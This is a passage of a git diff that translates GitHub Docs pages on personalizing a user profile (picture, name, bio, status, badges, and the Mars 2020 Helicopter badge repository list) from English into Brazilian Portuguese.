-- Repositories and gists you own or contribute to. {% ifversion fpt or ghes or ghec %}You can showcase your best work by pinning repositories and gists to your profile. For more information, see "[Pinning items to your profile](/github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile)."{% endif %}
-- Repositories you've starred{% ifversion fpt or ghec %} and organized into lists.{% endif %} For more information, see "[Saving repositories with stars](/articles/saving-repositories-with-stars/)."
-- An overview of your activity in organizations, repositories, and teams you're most active in. For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."{% ifversion fpt or ghec %}
-- Badges that show if you use {% data variables.product.prodname_pro %} or participate in programs like the {% data variables.product.prodname_arctic_vault %}, {% data variables.product.prodname_sponsors %}, or the {% data variables.product.company_short %} Developer Program. For more information, see "[Personalizing your profile](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#displaying-badges-on-your-profile)."{% endif %}
+- Repositórios e gists que você possui ou com os quais contribui. {% ifversion fpt or ghes or ghec %}Você pode exibir seu melhor trabalho fixando repositórios e gists no seu perfil. Para obter mais informações, consulte "[Fixar itens no seu perfil](/github/setting-up-and-managing-your-github-profile/pinning-items-to-your-profile)".{% endif %}
+- Repositórios que você marcou como favorito{% ifversion fpt or ghec %} e organizou em listas.{% endif %} Para obter mais informações, consulte "[Salvando repositórios como favoritos](/articles/saving-repositories-with-stars/)".
+- Uma visão geral da sua atividade em organizações, repositórios e equipes nos quais você está mais ativo. Para obter mais informações, consulte "[Exibir visão geral da sua atividade no seu perfil](/articles/showing-an-overview-of-your-activity-on-your-profile)."{% ifversion fpt or ghec %}
+- Selos que serão exibidos se você usar {% data variables.product.prodname_pro %} ou participar de programas como {% data variables.product.prodname_arctic_vault %}, {% data variables.product.prodname_sponsors %} ou do programa de desenvolvedor de {% data variables.product.company_short %}. Para obter mais informações, consulte "[Personalizar seu perfil](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#displaying-badges-on-your-profile)".{% endif %}
 
-You can also set a status on your profile to provide information about your availability. For more information, see "[Setting a status](/articles/personalizing-your-profile/#setting-a-status)."
+Você também pode definir um status no seu perfil para fornecer informações sobre a sua disponibilidade. Para obter mais informações, consulte "[Configurar um status](/articles/personalizing-your-profile/#setting-a-status)".
 
-## Further reading
+## Leia mais
 
-- "[How do I set up my profile picture?](/articles/how-do-i-set-up-my-profile-picture)"
-- "[Publicizing or hiding your private contributions on your profile](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
-- "[Viewing contributions on your profile](/articles/viewing-contributions-on-your-profile)"
+- "[Como configurar minha foto de perfil?](/articles/how-do-i-set-up-my-profile-picture)"
+- "[Mostrar ou ocultar contribuições privadas no perfil](/articles/publicizing-or-hiding-your-private-contributions-on-your-profile)"
+- "[Exibir contribuições no perfil](/articles/viewing-contributions-on-your-profile)"
diff --git a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
index ad0820dc72..cb126d774a 100644
--- a/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
+++ b/translations/pt-BR/content/account-and-profile/setting-up-and-managing-your-github-profile/customizing-your-profile/personalizing-your-profile.md
@@ -1,6 +1,6 @@
 ---
-title: Personalizing your profile
-intro: 'You can share information about yourself with other {% data variables.product.product_name %} users by setting a profile picture and adding a bio to your profile.'
+title: Personalizar seu perfil
+intro: 'É possível compartilhar informações sobre você mesmo com outros usuários do {% data variables.product.product_name %} definindo uma imagem e adicionando uma bio ao seu perfil.'
 redirect_from:
   - /articles/adding-a-bio-to-your-profile
   - /articles/setting-your-profile-picture
@@ -17,216 +17,200 @@ versions:
   ghec: '*'
 topics:
   - Profiles
-shortTitle: Personalize
+shortTitle: Personalizar
 ---
-## Changing your profile picture
 
-Your profile picture helps identify you across {% data variables.product.product_name %} in pull requests, comments, contributions pages, and graphs.
+## Alterar sua imagem de perfil
 
-When you sign up for an account, {% data variables.product.product_name %} provides you with a randomly generated "identicon". [Your identicon](https://github.com/blog/1586-identicons) generates from a hash of your user ID, so there's no way to control its color or pattern. You can replace your identicon with an image that represents you.
+Sua imagem de perfil ajuda a identificá-lo no {% data variables.product.product_name %} em pull requests, comentários, páginas de contribuições e gráficos.
+
+Ao se inscrever em uma conta, o {% data variables.product.product_name %} fornece a você uma "identicon" gerada aleatoriamente. [Sua identicon](https://github.com/blog/1586-identicons) é gerada a partir de um hash de seu ID de usuário e não há como controlar suas cores ou padrão. É possível substituir sua identicon por uma imagem que represente você.
 
 {% tip %}
 
-**Tip**: Your profile picture should be a PNG, JPG, or GIF file under 1 MB in size. For the best quality rendering, we recommend keeping the image at about 500 by 500 pixels.
+**Dica**: Sua imagem de perfil deve ser um arquivo PNG, JPG ou GIF com tamanho menor que 1 MB. Para melhor qualidade de renderização, recomendamos uma imagem de aproximadamente 500 por 500 pixels.
 
 {% endtip %}
 
-### Setting a profile picture
+### Definir uma imagem de perfil
 
 {% data reusables.user_settings.access_settings %}
-2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**.
-![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png)
-3. Click **Upload a photo...**.
-![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png)
-3. Crop your picture. When you're done, click **Set new profile picture**.
-	![Crop uploaded photo](/assets/images/help/profile/avatar_crop_and_save.png)
+2. Em **Profile Picture** (Imagem de perfil), clique em {% octicon "pencil" aria-label="The edit icon" %} **Edit** (Editar). ![Editar imagem de perfil](/assets/images/help/profile/edit-profile-photo.png)
+3. Clique em **Upload a photo...** (Fazer upload de uma foto...). ![Atualizar imagem de perfil](/assets/images/help/profile/edit-profile-picture-options.png)
+3. Recorte sua imagem. Quando terminar, clique em **Set new profile picture** (Definir nova imagem de perfil). ![Cortar foto carregada](/assets/images/help/profile/avatar_crop_and_save.png)
 
-### Resetting your profile picture to the identicon
+### Redefinir sua imagem de perfil para a identicon
 
 {% data reusables.user_settings.access_settings %}
-2. Under **Profile Picture**, click {% octicon "pencil" aria-label="The edit icon" %} **Edit**.
-![Edit profile picture](/assets/images/help/profile/edit-profile-photo.png)
-3. To revert to your identicon, click **Remove photo**. If your email address is associated with a [Gravatar](https://en.gravatar.com/), you cannot revert to your identicon. Click **Revert to Gravatar** instead.
-![Update profile picture](/assets/images/help/profile/edit-profile-picture-options.png)
+2. Em **Profile Picture** (Imagem de perfil), clique em {% octicon "pencil" aria-label="The edit icon" %} **Edit** (Editar). ![Editar imagem de perfil](/assets/images/help/profile/edit-profile-photo.png)
+3. Para reverter para sua identicon, clique em **Remove photo** (Remover foto). Se o seu endereço de e-mail está associado a um [Gravatar](https://en.gravatar.com/), você não pode reverter para sua identicon. Em vez disso, clique em **Revert to Gravatar** (Reverter para Gravatar). ![Atualizar imagem de perfil](/assets/images/help/profile/edit-profile-picture-options.png)
 
-## Changing your profile name
+## Alterar seu nome de perfil
 
-You can change the name that is displayed on your profile. This name may also be displayed next to comments you make on private repositories owned by an organization. For more information, see "[Managing the display of member names in your organization](/articles/managing-the-display-of-member-names-in-your-organization)."
+Você pode alterar o nome que é exbido em seu perfil. Este nome também pode ser exibido ao lado dos comentários que você fizer em repositórios privados pertencentes a uma organização. Para obter mais informações, consulte "[Gerenciar a exibição de nomes de integrantes na organização](/articles/managing-the-display-of-member-names-in-your-organization)".
 
 {% ifversion fpt or ghec %}
 {% note %}
 
-**Note:** If you're a member of an {% data variables.product.prodname_emu_enterprise %}, any changes to your profile name must be made through your identity provider instead of {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.emu-more-info-account %}
+**Observação:** Se você for integrante de um {% data variables.product.prodname_emu_enterprise %}, todas as alterações no nome do seu perfil devem ser feitas por meio do seu provedor de identidade ao invés de {% data variables.product.prodname_dotcom_the_website %}. {% data reusables.enterprise-accounts.emu-more-info-account %}
 
 {% endnote %}
 {% endif %}
 
 {% data reusables.user_settings.access_settings %}
-2. Under "Name", type the name you want to be displayed on your profile.
-  ![Name field in profile settings](/assets/images/help/profile/name-field.png)
+2. Em "Name" (Nome), digite o nome que deseja exibir em seu perfil. ![Campo nome em configurações de perfil](/assets/images/help/profile/name-field.png)
 
-## Adding a bio to your profile
+## Adicionar uma bio ao seu perfil
 
-Add a bio to your profile to share information about yourself with other {% data variables.product.product_name %} users. With the help of [@mentions](/articles/basic-writing-and-formatting-syntax) and emoji, you can include information about where you currently or have previously worked, what type of work you do, or even what kind of coffee you drink.
+Adicione uma bio em seu perfil para compartilhar informações sobre si mesmo com outros usuários {% data variables.product.product_name %}. Com a ajuda de [@menções](/articles/basic-writing-and-formatting-syntax) e emojis, você pode incluir informações sobre onde está trabalhando agora ou já trabalhou, que tipo de trabalho faz ou mesmo que tipo de café toma.
 
 {% ifversion fpt or ghes or ghec %}
 
-For a longer-form and more prominent way of displaying customized information about yourself, you can also use a profile README. For more information, see "[Managing your profile README](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme)."
+Para um formulário mais longo e uma maneira mais proeminente de exibir informações personalizadas sobre você, também é possível usar um README do perfil. Para obter mais informações, consulte "[Gerenciar seu perfil README](/github/setting-up-and-managing-your-github-profile/managing-your-profile-readme)."
 
 {% endif %}
 
 {% note %}
 
-**Note:**
-  If you have the activity overview section enabled for your profile and you @mention an organization you're a member of in your profile bio, then that organization will be featured first in your activity overview. For more information, see "[Showing an overview of your activity on your profile](/articles/showing-an-overview-of-your-activity-on-your-profile)."
+**Observação:** Se a seção de visão geral de atividade está habilitada em seu perfil e na bio você faz @menção a uma organização da qual é integrante, a organização será a primeira apresentada na visão geral de atividade. Para obter mais informações, consulte "[Mostrar uma visão geral da sua atividade no seu perfil](/articles/showing-an-overview-of-your-activity-on-your-profile)".
 
 {% endnote %}
 
 {% data reusables.user_settings.access_settings %}
-2. Under **Bio**, add the content that you want displayed on your profile. The bio field is limited to 160 characters.
-	![Update bio on profile](/assets/images/help/profile/bio-field.png)
+2. Em **Bio**, adicione o conteúdo que deseja exibir em seu perfil. O campo bio é limitado a 160 caracteres. ![Atualizar a bio no perfil](/assets/images/help/profile/bio-field.png)
 
   {% tip %}
 
-  **Tip:** When you @mention an organization, only those that you're a member of will autocomplete. You can still @mention organizations that you're not a member of, like a previous employer, but the organization name won't autocomplete for you.
+  **Dica:** Ao fazer @menção a uma organização, somente aquelas das quais você é integrante serão preenchidas automaticamente. Você ainda pode fazer @menção a organizações das quais não é integrante, como um empregador anterior, mas o nome da organização não será preenchido automaticamente.
 
   {% endtip %}
 
-3. Click **Update profile**.
-	![Update profile button](/assets/images/help/profile/update-profile-button.png)
+3. Clique em **Update profile** (Atualizar perfil). ![Botão Update profile (Atualizar perfil)](/assets/images/help/profile/update-profile-button.png)
 
-## Setting a status
+## Definir um status
 
-You can set a status to display information about your current availability on {% data variables.product.product_name %}. Your status will show:
-- on your {% data variables.product.product_name %} profile page.
-- when people hover over your username or avatar on {% data variables.product.product_name %}.
-- on a team page for a team where you're a team member. For more information, see "[About teams](/articles/about-teams/#team-pages)."
-- on the organization dashboard in an organization where you're a member. For more information, see "[About your organization dashboard](/articles/about-your-organization-dashboard/)."
+Você pode definir um status para exibir informações sobre sua disponibilidade atual no {% data variables.product.product_name %}. Seu status será mostrado:
+- em sua página de perfil do {% data variables.product.product_name %}.
+- quando as pessoas passarem o mouse em cima de seu nome de usuário ou avatar no {% data variables.product.product_name %}.
+- em uma página de equipe da qual você é integrante. Para obter mais informações, consulte "[Sobre equipes](/articles/about-teams/#team-pages)".
+- no painel da organização da qual você é integrante. Para obter mais informações, consulte "[Sobre o painel de sua organização](/articles/about-your-organization-dashboard/)".
 
-When you set your status, you can also let people know that you have limited availability on {% data variables.product.product_name %}.
+Ao definir o seu status, você também pode informar às pessoas que sua disponibilidade é limitada no {% data variables.product.product_name %}.
 
-![At-mentioned username shows "busy" note next to username](/assets/images/help/profile/username-with-limited-availability-text.png)
+![Usuário mencionado apresenta "busy" (ocupado) ao lado do nome de usuário](/assets/images/help/profile/username-with-limited-availability-text.png)
 
-![Requested reviewer shows "busy" note next to username](/assets/images/help/profile/request-a-review-limited-availability-status.png)
+![Revisor solicitado apresenta "busy" (ocupado) ao lado do nome de usuário](/assets/images/help/profile/request-a-review-limited-availability-status.png)
 
-If you select the "Busy" option, when people @mention your username, assign you an issue or pull request, or request a pull request review from you, a note next to your username will show that you're busy. You will also be excluded from automatic review assignment for pull requests assigned to any teams you belong to. For more information, see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)."
+Se você selecionar a opção "Busy" (Ocupado), quando as pessoas fizerem @menção ao seu nome de usuário, atribuírem um problema ou pull request a você ou solicitarem a você uma revisão de pull request, uma observação ao lado do seu nome mostrará que você está ocupado. Você também será excluído da atribuição automática de revisão para os pull requests atribuídos a qualquer equipe a que você pertença. Para obter mais informações, consulte "[Gerenciando as configurações de revisão de código para a sua equipe](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)."
 
-1. In the top right corner of {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, click your profile photo, then click **Set your status** or, if you already have a status set, click your current status.
-  ![Button on profile to set your status](/assets/images/help/profile/set-status-on-profile.png)
-2. To add custom text to your status, click in the text field and type a status message.
-  ![Field to type a status message](/assets/images/help/profile/type-a-status-message.png)
-3. Optionally, to set an emoji status, click the smiley icon and select an emoji from the list.
-  ![Button to select an emoji status](/assets/images/help/profile/select-emoji-status.png)
-4. Optionally, if you'd like to share that you have limited availability, select "Busy."
-  ![Busy option selected in Edit status options](/assets/images/help/profile/limited-availability-status.png)
-5. Use the **Clear status** drop-down menu, and select when you want your status to expire. If you don't select a status expiration, you will keep your status until you clear or edit your status.
-  ![Drop down menu to choose when your status expires](/assets/images/help/profile/status-expiration.png)
-6. Use the drop-down menu and click the organization you want your status visible to. If you don't select an organization, your status will be public.
-  ![Drop down menu to choose who your status is visible to](/assets/images/help/profile/status-visibility.png)
-7. Click **Set status**.
-  ![Button to set status](/assets/images/help/profile/set-status-button.png)
+1. No canto superior direito de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom_the_website %}{% else %}{% data variables.product.product_name %}{% endif %}, clique na sua foto de perfil e, em seguida clique em **Definir seu status** ou, se você já tiver um status definido, clique em seu status atual. ![Botão no perfil para definir seu status](/assets/images/help/profile/set-status-on-profile.png)
+2. Para adicionar um texto personalizado ao seu status, clique no campo de texto e digite uma mensagem. ![Campo para digitar mensagem de status](/assets/images/help/profile/type-a-status-message.png)
+3. Opcionalmente, para definir um status com emoji, clique no ícone de carinhas e selecione um emoji da lista.![Botão para selecionar status com emoji](/assets/images/help/profile/select-emoji-status.png)
+4. Como opção, se você deseja compartilhar que tem disponibilidade limitada, selecione "Busy" (Ocupado). ![Opção Busy (Ocupado) marcado nas opções Edit status (Editar status)](/assets/images/help/profile/limited-availability-status.png)
+5. Use o menu suspenso **Clear status** (Limpar status) e selecione quando deseja que seu status expire. Caso não selecione um prazo de validade, o status será mantido até que você o limpe ou o edite. ![Menu suspenso para escolher quando o status expira](/assets/images/help/profile/status-expiration.png)
+6. Use o menu suspenso e clique na organização para a qual você deseja que seu status esteja visível. Se não selecionar uma organização, seu status será público. ![Menu suspenso para escolher para quem seu status é visível](/assets/images/help/profile/status-visibility.png)
+7. Clique em **Set status** (Definir status). ![Botão para definir o status](/assets/images/help/profile/set-status-button.png)
 
 {% ifversion fpt or ghec %}
-## Displaying badges on your profile
+## Exibir selos no seu perfil
 
-When you participate in certain programs, {% data variables.product.prodname_dotcom %} automatically displays a badge on your profile.
+Ao participar de determinados programas, {% data variables.product.prodname_dotcom %} exibe automaticamente um selo no seu perfil.
 
-| Badge | Program | Description |
-| --- | --- | --- |
-| ![Mars 2020 Helicopter Contributor badge icon](/assets/images/help/profile/badge-mars-2020-small.png) | **Mars 2020 Helicopter Contributor**  | If you authored any commit(s) present in the commit history for the relevant tag of an open source library used in the Mars 2020 Helicopter Mission, you'll get a Mars 2020 Helicopter Contributor badge on your profile. Hovering over the badge shows you several of the repositories you contributed to that were used in the mission. For the full list of repositories that will qualify you for the badge, see "[List of qualifying repositories for Mars 2020 Helicopter Contributor badge](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#list-of-qualifying-repositories-for-mars-2020-helicopter-contributor-badge)." |
-| ![Arctic Code Vault Contributor badge icon](/assets/images/help/profile/badge-arctic-code-vault-small.png) | **{% data variables.product.prodname_arctic_vault %} Contributor** | If you authored any commit(s) on the default branch of a repository that was archived in the 2020 Arctic Vault program, you'll get an {% data variables.product.prodname_arctic_vault %} Contributor badge on your profile. Hovering over the badge shows you several of the repositories you contributed to that were part of the program. For more information on the program, see [{% data variables.product.prodname_archive %}](https://archiveprogram.github.com). |
-| ![{% data variables.product.prodname_dotcom %} Sponsor badge icon](/assets/images/help/profile/badge-sponsors-small.png) | **{% data variables.product.prodname_dotcom %} Sponsor**  | If you sponsored an open source contributor through {% data variables.product.prodname_sponsors %} you'll get a {% data variables.product.prodname_dotcom %} Sponsor badge on your profile. Clicking the badge takes you to the **Sponsoring** tab of your profile. For more information, see "[Sponsoring open source contributors](/github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-contributors)." |
-| {% octicon "cpu" aria-label="The Developer Program icon" %} | **Developer Program Member** | If you're a registered member of the {% data variables.product.prodname_dotcom %} Developer Program, building an app with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you'll get a Developer Program Member badge on your profile. For more information on the {% data variables.product.prodname_dotcom %} Developer Program, see [GitHub Developer](/program/). |
-| {% octicon "star-fill" aria-label="The star icon" %} | **Pro** | If you use {% data variables.product.prodname_pro %} you'll get a PRO badge on your profile. For more information about {% data variables.product.prodname_pro %}, see "[{% data variables.product.prodname_dotcom %}'s products](/github/getting-started-with-github/githubs-products#github-pro)." |
-| {% octicon "lock" aria-label="The lock icon" %} | **Security Bug Bounty Hunter** | If you helped out hunting down security vulnerabilities, you'll get a Security Bug Bounty Hunter badge on your profile. For more information about the {% data variables.product.prodname_dotcom %} Security program, see [{% data variables.product.prodname_dotcom %} Security](https://bounty.github.com/). |
-| {% octicon "mortar-board" aria-label="The mortar-board icon" %} | **{% data variables.product.prodname_dotcom %} Campus Expert** | If you participate in the {% data variables.product.prodname_campus_program %}, you will get a {% data variables.product.prodname_dotcom %} Campus Expert badge on your profile. For more information about the Campus Experts program, see [Campus Experts](https://education.github.com/experts). |
+| Selo                                                                                                                                   | Programa                                                                   | Descrição                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
+| -------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| ![Ícone do selo do Contribuidor do Helicóptero de Marte 2020](/assets/images/help/profile/badge-mars-2020-small.png)                   | **Contribuidor do Helicóptero de Marte de 2020**                           | Se você criou algum(ns) commit(s) presente no histórico de commit para a tag relevante de uma biblioteca de código aberto utilizada na Missão de Helicóptero de Marte 2020, você receberá um selo do Helicóptero 2020 no seu perfil. Passar o mouse sobre o selo mostra vários dos repositórios para os quais você contribuiu na missão. Para a lista completa de repositórios que qualificarão você para o selo, consulte "[Lista de repositórios qualificados para o selo do Helicóptero de Colaborador de Marte de 2020](/github/setting-up-and-managing-your-github-profile/personalizing-your-profile#list-of-qualifying-repositories-for-mars-2020-helicopter-contributor-badge)". |
+| ![Ícone de selo do Contribuidor do Cofre do Código do do Ártico](/assets/images/help/profile/badge-arctic-code-vault-small.png)        | **{% data variables.product.prodname_arctic_vault %} Colaborador**       | Se você criou algum(ns) commit(s) no branch-padrão de um repositório arquivado no programa Cofre do Ártico 2020, você receberá um selo de contribuidor de {% data variables.product.prodname_arctic_vault %} no seu perfil. Passar o mouse sobre o selo mostra vários dos repositórios para os quais você contribuiu que faziam parte do programa. Para obter mais informações sobre o programa, consulte [{% data variables.product.prodname_archive %}](https://archiveprogram.github.com).                                                                                                                                                                                          |
+| ![Ícone do selo de patrocinador de {% data variables.product.prodname_dotcom %}](/assets/images/help/profile/badge-sponsors-small.png) | **Patrocinador de {% data variables.product.prodname_dotcom %}**           | Se você patrocinou um contribuidor de código aberto por meio de {% data variables.product.prodname_sponsors %} você receberá um selo do Sponsor de {% data variables.product.prodname_dotcom %} no seu perfil. Clicar no selo direcionará você para a aba **Patrocínio** do seu perfil. Para obter mais informações, consulte "[Patrocinar contribuidores de código aberto](/github/supporting-the-open-source-community-with-github-sponsors/sponsoring-open-source-contributors)".                                                                                                                                                                                                   |
+| {% octicon "cpu" aria-label="The Developer Program icon" %}                                                                            | **Integrante do programa de desenvolvedores**                              | Se você for um integrante registrado do Programa de Desenvolvedor de {% data variables.product.prodname_dotcom %}, ao criar um aplicativo com a API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, você receberá um selo de integrante do Programa no seu perfil. Para obter mais informações sobre o Programa de Desenvolvedores de {% data variables.product.prodname_dotcom %}, consulte o [Desenvolvedor do GitHub](/program/).                                                                                                                                                       |
+| {% octicon "star-fill" aria-label="The star icon" %}                                                                                   | **Pro**                                                                    | Se você usar {% data variables.product.prodname_pro %}, você receberá um selo PRO no seu perfil. Para obter mais informações sobre o {% data variables.product.prodname_pro %}, consulte "[Produtos do {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/githubs-products#github-pro)".                                                                                                                                                                                                                                                                                                                                                                |
+| {% octicon "lock" aria-label="The lock icon" %}                                                                                        | **Security Bug Bounty Hunter**                                             | Se você ajudou a identificar vulnerabilidades de segurança, o seu perfil receberá um selo Security Bug Bounty Hunter. Para obter mais informações sobre o programa de segurança {% data variables.product.prodname_dotcom %}, consulte [{% data variables.product.prodname_dotcom %} Segurança.](https://bounty.github.com/).                                                                                                                                                                                                                                                                                                                                                            |
+| {% octicon "mortar-board" aria-label="The mortar-board icon" %}                                                                        | **Especialista de campus de {% data variables.product.prodname_dotcom %}** | Se você participar do {% data variables.product.prodname_campus_program %}, você receberá um selo do especialista de campus de {% data variables.product.prodname_dotcom %} no seu perfil. Para obter mais informações sobre o programa de Especialistas de Campus, consulte [Especialistas de campus](https://education.github.com/experts).                                                                                                                                                                                                                                                                                                                                          |
 
-## Disabling badges on your profile
+## Desabilitar selos no seu perfil
 
-You can disable some of the badges for {% data variables.product.prodname_dotcom %} programs you're participating in, including the PRO, {% data variables.product.prodname_arctic_vault %} and Mars 2020 Helicopter Contributor badges.
+Você pode desabilitar alguns dos selos para programas de {% data variables.product.prodname_dotcom %} em que você participa, incluindo os selos de contribuidor PRO, {% data variables.product.prodname_arctic_vault %} contribuidor de helicóptero de Marte 2020.
 
 {% data reusables.user_settings.access_settings %}
-2. Under "Profile settings", deselect the badge you want you disable.
-  ![Checkbox to no longer display a badge on your profile](/assets/images/help/profile/profile-badge-settings.png)
-3. Click **Update preferences**.
+2. Em "Configurações de perfil", desmarque o selo que você deseja desabilitar. ![Caixa de seleção para deixar de exibir um selo no seu perfil](/assets/images/help/profile/profile-badge-settings.png)
+3. Clique em **Update preferences** (Atualizar preferências).
 
 {% endif %}
 
-## List of qualifying repositories for Mars 2020 Helicopter Contributor badge
+## Lista de repositórios qualificados paro selo de contribuidor Helicóptero de Marte de 2020
 
-If you authored any commit(s) present in the commit history for the listed tag of one or more of the repositories below, you'll receive the Mars 2020 Helicopter Contributor badge on your profile. The authored commit must be with a verified email address, associated with your account at the time {% data variables.product.prodname_dotcom %} determined the eligible contributions, in order to be attributed to you. You can be the original author or [one of the co-authors](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors) of the commit. Future changes to verified emails will not have an effect on the badge. We built the list based on information received from NASA's Jet Propulsion Laboratory.
+Se você criou qualquer commit presente no histórico de commit da tag listada em um ou mais dos repositórios abaixo, você receberá o selo do Contribuidor de Marte do Helicóptero 2020 no seu perfil. O commit da autoria tem que estar com um endereço de e-mail verificado associado à sua conta no momento em que {% data variables.product.prodname_dotcom %} determinou as contribuições elegíveis, para ser atribuído a você. Você pode ser o autor original ou [um dos coautores](/pull-requests/committing-changes-to-your-project/creating-and-editing-commits/creating-a-commit-with-multiple-authors) do commit. As alterações futuras em e-mails verificados não terão efeito no selo. Criamos a lista com base nas informações recebidas do Laboratório de Propulsão de Jato da NASA.
 
-| {% data variables.product.prodname_dotcom %} Repository | Version | Tag |
-|---|---|---|
-| [torvalds/linux](https://github.com/torvalds/linux) | 3.4 | [v3.4](https://github.com/torvalds/linux/releases/tag/v3.4) |
-| [python/cpython](https://github.com/python/cpython) | 3.9.2 | [v3.9.2](https://github.com/python/cpython/releases/tag/v3.9.2) |
-| [boto/boto3](https://github.com/boto/boto3) | 1.17.17 | [1.17.17](https://github.com/boto/boto3/releases/tag/1.17.17) |
-| [boto/botocore](https://github.com/boto/botocore) | 1.20.11 | [1.20.11](https://github.com/boto/botocore/releases/tag/1.20.11) |
-| [certifi/python-certifi](https://github.com/certifi/python-certifi) | 2020.12.5 | [2020.12.05](https://github.com/certifi/python-certifi/releases/tag/2020.12.05) |
-| [chardet/chardet](https://github.com/chardet/chardet) | 4.0.0 | [4.0.0](https://github.com/chardet/chardet/releases/tag/4.0.0) |
-| [matplotlib/cycler](https://github.com/matplotlib/cycler) | 0.10.0 | [v0.10.0](https://github.com/matplotlib/cycler/releases/tag/v0.10.0) |
-| [elastic/elasticsearch-py](https://github.com/elastic/elasticsearch-py) | 6.8.1 | [6.8.1](https://github.com/elastic/elasticsearch-py/releases/tag/6.8.1) |
-| [ianare/exif-py](https://github.com/ianare/exif-py) | 2.3.2 | [2.3.2](https://github.com/ianare/exif-py/releases/tag/2.3.2) |
-| [kjd/idna](https://github.com/kjd/idna) | 2.10 | [v2.10](https://github.com/kjd/idna/releases/tag/v2.10) |
-| [jmespath/jmespath.py](https://github.com/jmespath/jmespath.py) | 0.10.0 | [0.10.0](https://github.com/jmespath/jmespath.py/releases/tag/0.10.0) |
-| [nucleic/kiwi](https://github.com/nucleic/kiwi) | 1.3.1 | [1.3.1](https://github.com/nucleic/kiwi/releases/tag/1.3.1) |
-| [matplotlib/matplotlib](https://github.com/matplotlib/matplotlib) | 3.3.4 | [v3.3.4](https://github.com/matplotlib/matplotlib/releases/tag/v3.3.4) |
-| [numpy/numpy](https://github.com/numpy/numpy) | 1.20.1 | [v1.20.1](https://github.com/numpy/numpy/releases/tag/v1.20.1) |
-| [opencv/opencv-python](https://github.com/opencv/opencv-python) | 4.5.1.48 | [48](https://github.com/opencv/opencv-python/releases/tag/48) |
-| [python-pillow/Pillow](https://github.com/python-pillow/Pillow) | 8.1.0 | [8.1.0](https://github.com/python-pillow/Pillow/releases/tag/8.1.0) |
-| [pycurl/pycurl](https://github.com/pycurl/pycurl) | 7.43.0.6 | [REL_7_43_0_6](https://github.com/pycurl/pycurl/releases/tag/REL_7_43_0_6) |
-| [pyparsing/pyparsing](https://github.com/pyparsing/pyparsing) | 2.4.7 | [pyparsing_2.4.7](https://github.com/pyparsing/pyparsing/releases/tag/pyparsing_2.4.7) |
-| [pyserial/pyserial](https://github.com/pyserial/pyserial) | 3.5 | [v3.5](https://github.com/pyserial/pyserial/releases/tag/v3.5) |
-| [dateutil/dateutil](https://github.com/dateutil/dateutil) | 2.8.1 | [2.8.1](https://github.com/dateutil/dateutil/releases/tag/2.8.1) |
-| [yaml/pyyaml ](https://github.com/yaml/pyyaml) | 5.4.1 | [5.4.1](https://github.com/yaml/pyyaml/releases/tag/5.4.1) |
-| [psf/requests](https://github.com/psf/requests) | 2.25.1 | [v2.25.1](https://github.com/psf/requests/releases/tag/v2.25.1) |
-| [boto/s3transfer](https://github.com/boto/s3transfer) | 0.3.4 | [0.3.4](https://github.com/boto/s3transfer/releases/tag/0.3.4) |
-| [enthought/scimath](https://github.com/enthought/scimath) | 4.2.0 | [4.2.0](https://github.com/enthought/scimath/releases/tag/4.2.0) |
-| [scipy/scipy](https://github.com/scipy/scipy) | 1.6.1 | [v1.6.1](https://github.com/scipy/scipy/releases/tag/v1.6.1) |
-| [benjaminp/six](https://github.com/benjaminp/six) | 1.15.0 | [1.15.0](https://github.com/benjaminp/six/releases/tag/1.15.0) |
-| [enthought/traits](https://github.com/enthought/traits) | 6.2.0 | [6.2.0](https://github.com/enthought/traits/releases/tag/6.2.0) |
-| [urllib3/urllib3](https://github.com/urllib3/urllib3) | 1.26.3 | [1.26.3](https://github.com/urllib3/urllib3/releases/tag/1.26.3) |
-| [python-attrs/attrs](https://github.com/python-attrs/attrs) | 19.3.0 | [19.3.0](https://github.com/python-attrs/attrs/releases/tag/19.3.0) |
-| [CheetahTemplate3/cheetah3](https://github.com/CheetahTemplate3/cheetah3/) | 3.2.4 | [3.2.4](https://github.com/CheetahTemplate3/cheetah3/releases/tag/3.2.4) |
-| [pallets/click](https://github.com/pallets/click) | 7.0 | [7.0](https://github.com/pallets/click/releases/tag/7.0) |
-| [pallets/flask](https://github.com/pallets/flask) | 1.1.1 | [1.1.1](https://github.com/pallets/flask/releases/tag/1.1.1) |
-| [flask-restful/flask-restful](https://github.com/flask-restful/flask-restful) | 0.3.7 | [0.3.7](https://github.com/flask-restful/flask-restful/releases/tag/0.3.7) |
